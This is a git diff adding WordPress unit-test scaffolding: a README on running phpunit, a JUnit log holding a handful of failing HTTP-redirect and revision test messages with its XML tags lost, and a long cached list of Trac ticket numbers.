diff --git a/tests/README.txt b/tests/README.txt new file mode 100644 index 0000000000..3c7156d4be --- /dev/null +++ b/tests/README.txt @@ -0,0 +1,23 @@ +The short version: + +1. Create a clean MySQL database and user. DO NOT USE AN EXISTING DATABASE or you will lose data, guaranteed. + +2. Copy wp-tests-config-sample.php to wp-tests-config.php, edit it and include your database name/user/password. + +3. $ svn up + +4. Run the tests from the "trunk" directory: + To execute a particular test: + $ phpunit tests/test_case.php + To execute all tests: + $ phpunit + +Notes: + +Test cases live in the 'tests' subdirectory. All files in that directory will be included by default. Extend the WP_UnitTestCase class to ensure your test is run. + +phpunit will initialize and install a (more or less) complete running copy of WordPress each time it is run. This makes it possible to run functional interface and module tests against a fully working database and codebase, as opposed to pure unit tests with mock objects and stubs. Pure unit tests may be used also, of course. + +Changes to the test database will be rolled back as tests are finished, to ensure a clean start next time the tests are run. + +phpunit is intended to run at the command line, not via a web server. diff --git a/tests/build.xml b/tests/build.xml new file mode 100644 index 0000000000..f770794861 --- /dev/null +++ b/tests/build.xml @@ -0,0 +1,15 @@ + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tests/build/logs/junit.xml b/tests/build/logs/junit.xml new file mode 100644 index 0000000000..a9cab850f2 --- /dev/null +++ b/tests/build/logs/junit.xml @@ -0,0 +1,2057 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Tests_HTTP_curl::test_post_redirect_to_method_300 +Failed asserting that two strings are equal. +--- Expected ++++ Actual +@@ @@ +-'POST' ++'Redirect 5 of 5 is FINAL.<br/>GET['rt'] = Total times to redirect. Defaults to 5.<br />GET['r'] = Current redirection. Defaults to 0.<br /><a href='http://api.wordpress.org/core/tests/1.0/redirection.php?source=true'>View Source</a>' + +/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/base.php:205 + + + + Tests_HTTP_curl::test_ip_url_with_host_header +Failed asserting that two strings are equal. +--- Expected ++++ Actual +@@ @@ +-'PASS' ++'Redirect 0 of 5' + +/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/base.php:241 + + + + Tests_HTTP_curl::test_multiple_location_headers +Failed asserting that 'http://api.wordpress.org/core/tests/1.0/redirection.php?rt=5&r=1' is of type "array". + +/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/base.php:254 + + + + + + + + + + + + + + + + + + + + Tests_HTTP_fsockopen::test_post_redirect_to_method_300 +Failed asserting that two strings are equal. +--- Expected ++++ Actual +@@ @@ +-'POST' ++'Redirect 5 of 5 is FINAL.<br/>GET['rt'] = Total times to redirect. Defaults to 5.<br />GET['r'] = Current redirection. Defaults to 0.<br /><a href='http://api.wordpress.org/core/tests/1.0/redirection.php?source=true'>View Source</a>' + +/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/base.php:205 + + + + Tests_HTTP_fsockopen::test_ip_url_with_host_header +Failed asserting that two strings are equal. +--- Expected ++++ Actual +@@ @@ +-'PASS' ++'Redirect 0 of 5' + +/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/base.php:241 + + + + Tests_HTTP_fsockopen::test_multiple_location_headers +Failed asserting that 'http://api.wordpress.org/core/tests/1.0/redirection.php?rt=5&r=1' is of type "array". + +/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/base.php:254 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Tests_HTTP_streams::test_post_redirect_to_method_300 +Failed asserting that two strings are equal. +--- Expected ++++ Actual +@@ @@ +-'POST' ++'Redirect 5 of 5 is FINAL.<br/>GET['rt'] = Total times to redirect. Defaults to 5.<br />GET['r'] = Current redirection. Defaults to 0.<br /><a href='http://api.wordpress.org/core/tests/1.0/redirection.php?source=true'>View Source</a>' + +/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/base.php:205 + + + + Tests_HTTP_streams::test_ip_url_with_host_header +Failed asserting that two strings are equal. +--- Expected ++++ Actual +@@ @@ +-'PASS' ++'Redirect 0 of 5' + +/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/base.php:241 + + + + Tests_HTTP_streams::test_multiple_location_headers +Failed asserting that 'http://api.wordpress.org/core/tests/1.0/redirection.php?rt=5&r=1' is of type "array". + +/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/http/base.php:254 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Tests_Post_Revisions::test_revision_dont_save_revision_if_unchanged +Failed asserting that actual size 4 matches expected size 3. + +/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/revisions.php:83 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/tests/data/.trac-ticket-cache.core.trac.wordpress.org b/tests/data/.trac-ticket-cache.core.trac.wordpress.org new file mode 100644 index 0000000000..04edf67b38 --- /dev/null +++ b/tests/data/.trac-ticket-cache.core.trac.wordpress.org @@ -0,0 +1,3795 @@ +¿id +4337 +5034 +5809 +7580 +8910 +9064 +9510 +9547 +9568 +10041 +10364 +10511 +11334 +12302 +13069 +13158 +13651 +13780 +14134 +14201 +14485 +15256 +15366 +15919 +16240 +16284 +16606 +17689 +18738 +19023 +22876 +22981 +24165 +24551 +761 +1914 +2531 +2691 +2702 +2877 +3052 +3260 +3329 +3398 +3491 +3567 +3632 +3670 +3833 +3842 +4004 +4010 +4027 +4116 +4221 +4253 +4328 +4332 +4463 +4518 +4555 +4575 +4711 +4893 +4916 +4965 +4969 +5031 +5117 +5120 +5130 +5161 +5172 +5235 +5250 +5252 +5305 +5310 +5358 +5461 +5678 +5692 +5725 +5842 +5915 +5918 +5932 +5942 +5953 +5998 +6106 +6109 +6122 +6286 +6297 +6331 +6342 +6369 +6379 +6393 +6405 +6425 +6430 +6479 +6492 +6531 +6536 +6619 +6698 +6768 +6778 +6814 +6819 +6822 +6829 +6860 +6939 +6969 +6978 +7030 +7045 +7051 +7054 +7061 +7092 +7098 +7231 +7244 +7267 +7301 +7361 +7394 +7402 +7422 +7463 +7491 +7543 +7604 +7605 +7615 +7634 +7644 +7695 +7723 +7740 +7756 +7795 +7797 +7810 +7813 +7845 +7857 +7859 +7965 +7993 +8050 +8071 +8119 +8214 +8243 +8296 +8298 +8455 +8470 +8492 +8532 +8578 +8592 +8593 +8599 +8648 +8722 +8733 +8754 +8755 +8775 +8822 +8828 +8833 +8874 +8885 +8905 +8911 +8912 +8923 +8973 +8984 +8994 +9025 +9057 +9102 +9117 +9153 +9170 +9207 +9227 +9232 +9256 +9257 +9296 +9324 +9378 +9383 +9437 +9460 +9470 +9513 +9571 +9604 +9611 +9640 +9642 +9666 +9678 +9679 +9716 +9719 +9775 +9777 +9785 +9788 +9818 +9820 +9824 +9825 +9841 +9860 +9864 +9873 +9875 +9902 +9911 +9927 +9930 +9931 +9978 +9993 +10005 +10033 +10046 +10055 +10086 +10141 +10151 +10154 +10158 +10161 +10177 +10180 +10201 +10203 +10205 +10230 +10237 +10248 +10249 +10259 +10260 +10267 +10268 +10303 +10373 +10377 +10384 +10390 +10404 +10414 +10422 +10424 +10441 +10457 +10458 +10476 +10480 +10489 +10514 +10535 +10543 +10545 +10558 +10569 +10587 +10596 +10597 +10652 +10653 +10660 +10663 +10666 +10676 +10690 +10699 +10702 +10722 +10726 +10741 +10743 +10752 +10762 +10764 +10770 +10786 +10787 +10790 +10819 +10823 +10831 +10832 +10834 +10846 +10850 +10852 +10856 +10883 +10884 +10886 +10902 +10931 +10935 +10946 +10947 +10948 +10950 +10955 +10968 +10970 +10975 +10976 +10980 +10984 +10988 +10989 +11003 +11009 +11023 +11049 +11053 +11058 +11060 +11078 +11093 +11095 +11101 +11113 +11151 +11160 +11164 +11175 +11178 +11200 +11207 +11210 +11215 +11229 +11235 +11248 +11282 +11286 +11302 +11303 +11311 +11319 +11325 +11328 +11338 +11344 +11359 +11360 +11375 +11376 +11381 +11384 +11387 +11398 +11414 +11418 +11438 +11465 +11469 +11472 +11477 +11515 +11531 +11549 +11566 +11571 +11576 +11581 +11585 +11598 +11616 +11623 +11642 +11674 +11678 +11683 +11692 +11694 +11697 +11699 +11705 +11717 +11725 +11727 +11733 +11734 +11738 +11740 +11800 +11813 +11823 +11826 +11847 +11856 +11863 +11869 +11884 +11888 +11890 +11895 +11898 +11903 +11905 +11931 +11946 +11950 +11957 +11959 +11986 +11993 +12002 +12009 +12013 +12014 +12016 +12017 +12030 +12031 +12032 +12033 +12036 +12043 +12056 +12061 +12084 +12097 +12104 +12107 +12120 +12133 +12134 +12145 +12154 +12208 +12219 +12223 +12227 +12235 +12238 +12254 +12257 +12264 +12267 +12273 +12286 +12295 +12313 +12322 +12336 +12340 +12342 +12350 +12354 +12363 +12368 +12370 +12392 +12400 +12402 +12405 +12431 +12432 +12456 +12461 +12475 +12477 +12480 +12491 +12493 +12494 +12502 +12518 +12521 +12532 +12538 +12539 +12563 +12567 +12578 +12582 +12584 +12609 +12629 +12634 +12641 +12657 +12670 +12671 +12682 +12684 +12690 +12696 +12702 +12705 +12706 +12717 +12718 +12719 +12720 +12721 +12722 +12725 +12726 +12729 +12756 +12779 +12799 +12801 +12819 +12821 +12825 +12826 +12832 +12839 +12865 +12877 +12885 +12890 +12900 +12905 +12929 +12934 +12939 +12940 +12945 +12955 +12960 +12976 +12981 +12982 +12986 +12991 +12993 +12996 +13005 +13011 +13014 +13041 +13051 +13052 +13071 +13078 +13091 +13100 +13103 +13169 +13208 +13218 +13222 +13227 +13235 +13237 +13239 +13247 +13258 +13265 +13266 +13269 +13273 +13310 +13339 +13340 +13363 +13365 +13372 +13377 +13382 +13392 +13412 +13416 +13418 +13425 +13429 +13433 +13436 +13450 +13459 +13461 +13473 +13493 +13500 +13502 +13504 +13509 +13516 +13522 +13528 +13529 +13548 +13554 +13575 +13576 +13580 +13592 +13606 +13648 +13655 +13659 +13661 +13689 +13691 +13694 +13701 +13728 +13743 +13752 +13765 +13767 +13771 +13779 +13792 +13816 +13820 +13821 +13822 +13837 +13841 +13857 +13867 +13874 +13875 +13905 +13909 +13910 +13919 +13922 +13924 +13926 +13928 +13937 +13939 +13941 +13949 +13972 +13979 +13983 +13989 +13992 +13998 +14011 +14017 +14020 +14028 +14036 +14039 +14041 +14049 +14050 +14060 +14077 +14078 +14087 +14096 +14099 +14102 +14106 +14108 +14110 +14113 +14115 +14125 +14126 +14132 +14137 +14148 +14159 +14162 +14164 +14169 +14172 +14179 +14188 +14195 +14206 +14207 +14209 +14215 +14224 +14244 +14254 +14268 +14273 +14279 +14282 +14290 +14302 +14305 +14308 +14310 +14325 +14331 +14333 +14341 +14343 +14361 +14363 +14364 +14366 +14368 +14370 +14373 +14375 +14380 +14393 +14397 +14399 +14401 +14408 +14412 +14414 +14424 +14432 +14439 +14440 +14445 +14448 +14449 +14452 +14458 +14459 +14460 +14465 +14466 +14477 +14478 +14479 +14481 +14488 +14491 +14493 +14501 +14502 +14510 +14511 +14515 +14530 +14531 +14539 +14541 +14549 +14551 +14561 +14565 +14569 +14578 +14581 +14584 +14601 +14622 +14639 +14640 +14642 +14644 +14650 +14653 +14657 +14664 +14670 +14671 +14674 +14676 +14686 +14687 +14691 +14697 +14698 +14711 +14717 +14721 +14730 +14737 +14741 +14749 +14752 +14754 +14757 +14759 +14760 +14767 +14769 +14773 +14781 +14782 +14789 +14791 +14792 +14798 +14804 +14808 +14809 +14819 +14824 +14825 +14849 +14851 +14853 +14855 +14856 +14858 +14862 +14867 +14873 +14877 +14881 +14884 +14888 +14890 +14893 +14900 +14901 +14902 +14913 +14932 +14938 +14941 +14946 +14949 +14955 +14958 +14966 +14969 +14975 +14979 +14981 +14983 +14986 +14987 +14988 +14991 +14994 +15001 +15004 +15006 +15015 +15029 +15030 +15031 +15033 +15034 +15046 +15058 +15060 +15068 +15069 +15072 +15086 +15101 +15110 +15115 +15139 +15145 +15148 +15149 +15158 +15202 +15204 +15214 +15217 +15219 +15230 +15237 +15249 +15250 +15251 +15261 +15264 +15289 +15309 +15311 +15324 +15335 +15337 +15349 +15355 +15367 +15381 +15384 +15385 +15389 +15394 +15406 +15409 +15417 +15424 +15448 +15457 +15459 +15466 +15490 +15499 +15508 +15513 +15514 +15515 +15516 +15520 +15533 +15534 +15539 +15550 +15551 +15565 +15576 +15583 +15588 +15594 +15595 +15606 +15610 +15619 +15626 +15631 +15633 +15636 +15637 +15642 +15645 +15646 +15648 +15650 +15655 +15657 +15659 +15667 +15674 +15675 +15677 +15691 +15694 +15697 +15706 +15719 +15731 +15732 +15738 +15741 +15760 +15761 +15765 +15769 +15782 +15783 +15784 +15790 +15796 +15800 +15801 +15805 +15807 +15811 +15819 +15827 +15828 +15833 +15837 +15838 +15846 +15847 +15855 +15860 +15861 +15865 +15905 +15906 +15907 +15918 +15921 +15924 +15926 +15928 +15929 +15930 +15936 +15942 +15943 +15946 +15949 +15950 +15953 +15955 +15956 +15957 +15963 +15965 +15971 +15977 +15993 +16001 +16009 +16010 +16012 +16020 +16022 +16024 +16025 +16026 +16031 +16055 +16057 +16075 +16077 +16096 +16101 +16105 +16106 +16107 +16109 +16116 +16118 +16122 +16125 +16126 +16133 +16134 +16135 +16147 +16148 +16150 +16156 +16158 +16162 +16164 +16167 +16173 +16180 +16182 +16183 +16185 +16191 +16201 +16203 +16204 +16216 +16219 +16223 +16230 +16235 +16239 +16243 +16251 +16252 +16264 +16268 +16271 +16280 +16282 +16283 +16285 +16291 +16293 +16294 +16301 +16310 +16318 +16323 +16328 +16330 +16339 +16343 +16345 +16346 +16365 +16369 +16375 +16379 +16382 +16383 +16392 +16395 +16396 +16398 +16399 +16400 +16401 +16404 +16408 +16410 +16413 +16414 +16415 +16418 +16420 +16425 +16428 +16430 +16431 +16434 +16435 +16437 +16443 +16445 +16448 +16451 +16460 +16462 +16468 +16470 +16471 +16472 +16475 +16477 +16478 +16482 +16483 +16491 +16492 +16495 +16496 +16497 +16502 +16504 +16509 +16512 +16516 +16518 +16519 +16524 +16550 +16557 +16567 +16568 +16576 +16578 +16581 +16584 +16589 +16594 +16603 +16612 +16615 +16625 +16632 +16635 +16645 +16648 +16651 +16668 +16672 +16677 +16683 +16686 +16691 +16698 +16705 +16706 +16707 +16718 +16719 +16725 +16731 +16734 +16745 +16747 +16750 +16753 +16754 +16755 +16756 +16758 +16762 +16770 +16773 +16774 +16778 +16779 +16781 +16782 +16784 +16787 +16788 +16790 +16792 +16793 +16794 +16802 +16805 +16808 +16809 +16817 +16819 +16820 +16828 +16830 +16832 +16833 +16839 +16840 +16841 +16843 +16845 +16849 +16853 +16854 +16856 +16858 +16859 +16860 +16863 +16864 +16865 +16867 +16870 +16872 +16875 +16876 +16880 +16881 +16882 +16883 +16884 +16886 +16891 +16894 +16895 +16903 +16906 +16907 +16908 +16909 +16910 +16911 +16914 +16916 +16919 +16922 +16925 +16929 +16934 +16935 +16940 +16942 +16943 +16944 +16945 +16946 +16949 +16953 +16956 +16957 +16963 +16971 +16972 +16973 +16976 +16979 +16980 +16982 +16985 +16987 +16989 +16990 +16993 +16995 +17002 +17005 +17010 +17015 +17019 +17020 +17022 +17023 +17025 +17026 +17027 +17036 +17037 +17039 +17047 +17052 +17061 +17065 +17068 +17069 +17071 +17072 +17077 +17078 +17088 +17092 +17093 +17095 +17105 +17115 +17128 +17133 +17138 +17142 +17146 +17150 +17157 +17159 +17164 +17168 +17170 +17179 +17181 +17183 +17185 +17191 +17199 +17201 +17209 +17210 +17219 +17221 +17227 +17235 +17236 +17246 +17247 +17249 +17253 +17254 +17255 +17261 +17262 +17268 +17270 +17275 +17296 +17298 +17301 +17302 +17326 +17328 +17337 +17340 +17360 +17365 +17370 +17374 +17375 +17376 +17379 +17381 +17382 +17387 +17388 +17391 +17394 +17397 +17398 +17409 +17413 +17427 +17433 +17439 +17442 +17445 +17447 +17450 +17451 +17453 +17455 +17460 +17470 +17472 +17478 +17482 +17487 +17491 +17505 +17516 +17517 +17525 +17526 +17541 +17542 +17545 +17547 +17551 +17552 +17557 +17571 +17580 +17584 +17590 +17592 +17594 +17595 +17604 +17607 +17609 +17615 +17619 +17626 +17630 +17632 +17635 +17636 +17642 +17646 +17653 +17661 +17675 +17680 +17698 +17703 +17704 +17709 +17714 +17718 +17723 +17725 +17736 +17737 +17763 +17764 +17766 +17767 +17771 +17778 +17783 +17785 +17793 +17800 +17807 +17812 +17817 +17821 +17834 +17847 +17851 +17852 +17853 +17856 +17857 +17861 +17862 +17864 +17866 +17877 +17884 +17890 +17891 +17902 +17904 +17905 +17906 +17913 +17916 +17917 +17920 +17923 +17924 +17928 +17948 +17951 +17956 +17957 +17959 +17964 +17981 +17993 +17999 +18002 +18003 +18007 +18010 +18023 +18025 +18030 +18033 +18035 +18037 +18039 +18042 +18043 +18048 +18056 +18060 +18067 +18070 +18075 +18079 +18081 +18084 +18087 +18088 +18097 +18101 +18102 +18105 +18106 +18117 +18118 +18132 +18134 +18136 +18143 +18161 +18162 +18163 +18165 +18166 +18169 +18171 +18172 +18179 +18184 +18186 +18188 +18190 +18191 +18199 +18200 +18209 +18210 +18218 +18222 +18231 +18232 +18239 +18242 +18243 +18244 +18245 +18249 +18254 +18258 +18264 +18266 +18271 +18272 +18275 +18281 +18282 +18285 +18286 +18287 +18289 +18292 +18296 +18297 +18298 +18301 +18302 +18306 +18307 +18315 +18321 +18322 +18324 +18325 +18326 +18327 +18351 +18356 +18357 +18360 +18362 +18368 +18375 +18385 +18386 +18391 +18395 +18396 +18399 +18400 +18402 +18412 +18413 +18417 +18418 +18423 +18446 +18448 +18449 +18450 +18466 +18471 +18474 +18476 +18480 +18488 +18489 +18493 +18496 +18499 +18501 +18502 +18503 +18504 +18505 +18513 +18517 +18518 +18521 +18523 +18525 +18527 +18530 +18532 +18547 +18548 +18549 +18550 +18553 +18556 +18558 +18561 +18563 +18569 +18574 +18575 +18577 +18586 +18588 +18590 +18594 +18596 +18602 +18603 +18604 +18609 +18613 +18614 +18617 +18623 +18627 +18630 +18632 +18641 +18650 +18653 +18655 +18658 +18660 +18661 +18671 +18672 +18676 +18679 +18680 +18681 +18682 +18684 +18685 +18692 +18694 +18701 +18703 +18705 +18707 +18709 +18710 +18714 +18724 +18729 +18730 +18731 +18733 +18734 +18736 +18743 +18746 +18748 +18754 +18762 +18769 +18773 +18776 +18777 +18778 +18786 +18788 +18790 +18791 +18792 +18798 +18801 +18803 +18804 +18814 +18816 +18817 +18820 +18821 +18823 +18824 +18826 +18828 +18829 +18833 +18835 +18836 +18842 +18843 +18848 +18850 +18851 +18852 +18857 +18859 +18860 +18877 +18885 +18893 +18896 +18897 +18900 +18909 +18910 +18926 +18934 +18937 +18943 +18944 +18946 +18947 +18950 +18951 +18953 +18954 +18959 +18962 +18968 +18979 +18981 +18988 +18995 +18997 +18998 +18999 +19008 +19011 +19012 +19017 +19019 +19028 +19031 +19038 +19041 +19044 +19055 +19063 +19064 +19065 +19068 +19069 +19085 +19094 +19097 +19100 +19109 +19110 +19112 +19115 +19120 +19121 +19124 +19130 +19135 +19140 +19159 +19168 +19181 +19188 +19192 +19197 +19198 +19200 +19203 +19205 +19206 +19207 +19211 +19225 +19227 +19238 +19239 +19243 +19247 +19256 +19257 +19264 +19268 +19270 +19272 +19278 +19286 +19288 +19291 +19296 +19306 +19307 +19308 +19309 +19332 +19343 +19347 +19354 +19365 +19367 +19368 +19372 +19373 +19374 +19375 +19380 +19383 +19388 +19392 +19393 +19397 +19412 +19415 +19419 +19432 +19443 +19444 +19449 +19450 +19451 +19455 +19462 +19464 +19466 +19471 +19487 +19489 +19492 +19493 +19497 +19499 +19512 +19514 +19520 +19525 +19527 +19531 +19541 +19543 +19549 +19550 +19555 +19556 +19561 +19564 +19569 +19572 +19579 +19581 +19583 +19587 +19590 +19609 +19615 +19621 +19623 +19627 +19628 +19629 +19631 +19633 +19635 +19639 +19641 +19643 +19645 +19647 +19649 +19653 +19654 +19666 +19674 +19675 +19680 +19686 +19688 +19689 +19691 +19693 +19695 +19705 +19707 +19709 +19711 +19716 +19719 +19721 +19722 +19724 +19728 +19730 +19736 +19737 +19738 +19739 +19742 +19744 +19745 +19747 +19753 +19760 +19764 +19765 +19770 +19776 +19780 +19781 +19783 +19784 +19790 +19793 +19802 +19805 +19806 +19813 +19816 +19817 +19821 +19825 +19826 +19828 +19834 +19838 +19845 +19846 +19847 +19849 +19851 +19856 +19858 +19859 +19862 +19864 +19866 +19867 +19872 +19877 +19879 +19884 +19885 +19889 +19890 +19892 +19893 +19896 +19898 +19901 +19902 +19903 +19904 +19906 +19907 +19912 +19915 +19918 +19921 +19926 +19927 +19930 +19945 +19947 +19949 +19954 +19958 +19960 +19968 +19979 +19980 +19984 +19986 +19990 +19992 +19995 +19996 +19998 +20002 +20006 +20007 +20008 +20009 +20011 +20013 +20016 +20019 +20020 +20025 +20026 +20027 +20037 +20041 +20043 +20044 +20046 +20048 +20050 +20052 +20057 +20060 +20066 +20067 +20069 +20070 +20073 +20074 +20075 +20076 +20082 +20092 +20094 +20095 +20104 +20105 +20107 +20109 +20114 +20115 +20116 +20120 +20124 +20125 +20127 +20130 +20133 +20140 +20144 +20148 +20151 +20152 +20153 +20157 +20166 +20167 +20171 +20175 +20176 +20178 +20179 +20180 +20185 +20186 +20194 +20203 +20205 +20206 +20211 +20213 +20214 +20220 +20221 +20224 +20225 +20226 +20228 +20232 +20233 +20237 +20241 +20251 +20252 +20253 +20257 +20260 +20262 +20263 +20264 +20271 +20275 +20276 +20279 +20283 +20284 +20286 +20287 +20288 +20289 +20298 +20299 +20301 +20302 +20304 +20308 +20309 +20316 +20318 +20319 +20323 +20325 +20326 +20328 +20330 +20335 +20338 +20342 +20352 +20353 +20357 +20359 +20360 +20368 +20377 +20379 +20383 +20386 +20388 +20395 +20413 +20415 +20419 +20421 +20425 +20437 +20438 +20439 +20440 +20444 +20453 +20456 +20459 +20461 +20468 +20487 +20490 +20491 +20495 +20496 +20509 +20513 +20516 +20520 +20522 +20523 +20531 +20534 +20537 +20542 +20544 +20545 +20547 +20558 +20560 +20563 +20564 +20570 +20571 +20578 +20589 +20592 +20595 +20596 +20597 +20601 +20602 +20606 +20609 +20615 +20620 +20630 +20631 +20633 +20634 +20635 +20651 +20652 +20659 +20660 +20661 +20662 +20672 +20683 +20688 +20690 +20706 +20712 +20714 +20716 +20717 +20720 +20725 +20729 +20730 +20733 +20735 +20738 +20739 +20740 +20745 +20746 +20748 +20767 +20770 +20771 +20774 +20779 +20783 +20788 +20790 +20791 +20793 +20810 +20813 +20816 +20822 +20824 +20825 +20839 +20842 +20844 +20845 +20846 +20847 +20848 +20850 +20853 +20854 +20859 +20861 +20870 +20875 +20880 +20881 +20882 +20883 +20888 +20890 +20899 +20900 +20901 +20902 +20903 +20904 +20905 +20907 +20920 +20927 +20930 +20935 +20936 +20943 +20944 +20946 +20947 +20948 +20956 +20958 +20973 +20977 +20978 +20983 +20986 +20988 +21000 +21002 +21004 +21007 +21010 +21014 +21015 +21017 +21022 +21023 +21031 +21034 +21035 +21036 +21038 +21043 +21044 +21046 +21051 +21055 +21059 +21061 +21062 +21070 +21072 +21073 +21078 +21082 +21083 +21085 +21089 +21091 +21096 +21097 +21098 +21107 +21109 +21112 +21113 +21119 +21126 +21128 +21132 +21134 +21139 +21140 +21143 +21153 +21156 +21157 +21158 +21163 +21164 +21165 +21167 +21168 +21169 +21170 +21171 +21172 +21188 +21189 +21190 +21195 +21200 +21204 +21207 +21211 +21212 +21213 +21219 +21221 +21225 +21234 +21236 +21237 +21243 +21253 +21256 +21258 +21265 +21266 +21267 +21268 +21271 +21273 +21276 +21281 +21282 +21284 +21285 +21287 +21292 +21293 +21294 +21295 +21300 +21304 +21306 +21311 +21314 +21319 +21321 +21323 +21329 +21330 +21334 +21341 +21352 +21354 +21364 +21374 +21375 +21380 +21386 +21387 +21389 +21394 +21396 +21398 +21401 +21402 +21403 +21407 +21411 +21412 +21414 +21417 +21421 +21425 +21428 +21432 +21435 +21442 +21444 +21446 +21448 +21452 +21453 +21455 +21460 +21470 +21472 +21483 +21485 +21488 +21492 +21495 +21497 +21504 +21506 +21510 +21516 +21520 +21521 +21523 +21526 +21534 +21537 +21538 +21539 +21540 +21542 +21543 +21546 +21547 +21550 +21551 +21554 +21563 +21569 +21571 +21573 +21581 +21583 +21584 +21596 +21597 +21599 +21602 +21603 +21605 +21606 +21610 +21613 +21616 +21621 +21622 +21627 +21628 +21631 +21632 +21641 +21642 +21644 +21645 +21649 +21650 +21651 +21652 +21658 +21659 +21660 +21662 +21663 +21665 +21666 +21667 +21668 +21669 +21670 +21672 +21674 +21676 +21679 +21682 +21683 +21687 +21689 +21699 +21700 +21712 +21713 +21714 +21729 +21730 +21734 +21737 +21738 +21744 +21753 +21758 +21760 +21762 +21763 +21765 +21766 +21769 +21770 +21773 +21774 +21785 +21787 +21788 +21790 +21791 +21792 +21793 +21803 +21810 +21811 +21819 +21821 +21826 +21834 +21837 +21840 +21845 +21848 +21853 +21856 +21859 +21862 +21864 +21870 +21872 +21874 +21876 +21879 +21881 +21890 +21891 +21894 +21899 +21900 +21910 +21911 +21912 +21913 +21918 +21919 +21925 +21930 +21931 +21934 +21938 +21941 +21949 +21950 +21959 +21963 +21969 +21970 +21976 +21977 +21982 +21986 +21987 +21988 +21989 +21991 +21994 +21995 +21999 +22001 +22003 +22010 +22014 +22022 +22023 +22029 +22030 +22037 +22040 +22041 +22043 +22049 +22051 +22056 +22058 +22059 +22069 +22070 +22074 +22075 +22076 +22080 +22082 +22086 +22100 +22101 +22104 +22106 +22110 +22112 +22114 +22115 +22116 +22117 +22119 +22127 +22128 +22134 +22135 +22139 +22141 +22145 +22146 +22148 +22150 +22154 +22156 +22160 +22164 +22171 +22172 +22174 +22176 +22180 +22182 +22183 +22185 +22192 +22194 +22195 +22196 +22198 +22200 +22205 +22208 +22209 +22212 +22214 +22222 +22225 +22228 +22230 +22231 +22233 +22234 +22236 +22237 +22239 +22242 +22247 +22249 +22251 +22253 +22254 +22256 +22261 +22267 +22271 +22272 +22273 +22277 +22279 +22283 +22287 +22288 +22293 +22296 +22297 +22300 +22301 +22302 +22303 +22305 +22310 +22311 +22314 +22316 +22325 +22328 +22329 +22330 